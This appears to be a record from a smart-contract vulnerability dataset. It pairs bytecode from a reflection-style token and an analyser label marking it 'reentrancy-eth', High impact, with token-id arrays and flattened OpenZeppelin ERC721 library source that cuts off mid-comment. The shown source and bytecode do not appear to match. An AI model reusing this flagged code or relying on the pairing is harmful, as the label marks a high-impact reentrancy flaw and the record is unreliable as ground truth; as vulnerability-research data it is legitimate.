09081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611464565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a1a565b5060006112238486611cc0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d7611492565b90506112e383826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c61565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611cd7565b816001815181106113c2576113c2611c61565b6001600160a01b0392831660209182029290920101526014546113e89130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611421908590600090869030904290600401611cf4565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611471576114716114f7565b61147c848484611525565b80610a7357610a73600e54600c55600f54600d55565b600080600061149f61161c565b90925090506114ae82826114b5565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115075750600d54155b1561150e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115378761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156990876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115989086611729565b6001600160a01b0389166000908152600260205260409020556115ba81611788565b6115c484836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163782826114b5565b82101561165357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b815260040161062a9190611a1a565b5060006112238486611d65565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b7611492565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117368385611ca8565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b6000611792611492565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b5565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826118aa575060006106b0565b60006118b68385611d87565b9050826118c38583611d65565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561195081611930565b919050565b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661191a565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61191a565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff85611945565b845293850193928501926119ee565b98975050505050505050565b600060208083528351808285015260005b81811015611a4757858101830151858201604001528201611a2b565b81811115611a59576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8257600080fd5b8235611a8d81611930565b946020939093013593505050565b600080600060608486031215611ab057600080fd5b8335611abb81611930565b92506020840135611acb81611930565b929592945050506040919091013590565b600060208284031215611aee57600080fd5b81356112e381611930565b8035801515811461195057600080fd5b600060208284031215611b1b57600080fd5b6112e382611af9565b600060208284031215611b3657600080fd5b5035919050565b60008060008060808587031215611b5357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8457600080fd5b833567ffffffffffffffff80821115611b9c57600080fd5b818601915086601f830112611bb057600080fd5b813581811115611bbf57600080fd5b8760208260051b8501011115611bd457600080fd5b602092830195509350611bea9186019050611af9565b90509250925092565b60008060408385031215611c0657600080fd5b8235611c1181611930565b91506020830135611c2181611930565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca157611ca1611c77565b5060010190565b60008219821115611cbb57611cbb611c77565b500190565b600082821015611cd257611cd2611c77565b500390565b600060208284031215611ce957600080fd5b81516112e381611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d445784516001600160a01b031683529383019391830191600101611d1f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da157611da1611c77565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a1b1edb8ba76375cc739c6b32c90c9f49d11e477710421d64eca186da502fbe64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 18939, 2692, 19961, 26224, 2546, 2692, 2063, 2692, 2683, 28154, 24594, 22907, 2683, 22275, 6305, 2475, 2497, 17134, 2546, 2620, 2549, 2050, 28756, 2683, 3676, 3401, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 11895, 3676, 2128, 17468, 1006, 11895, 19892, 1007, 19204, 4888, 5115, 2005, 13114, 1012, 2260, 1010, 16798, 2475, 1008, 1008, 1008, 2062, 4751, 2012, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 11895, 8237, 18349, 9648, 2094, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,870
0x95db1B449A0105b9ce73fff17C0Bf2E668F03cFD
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity 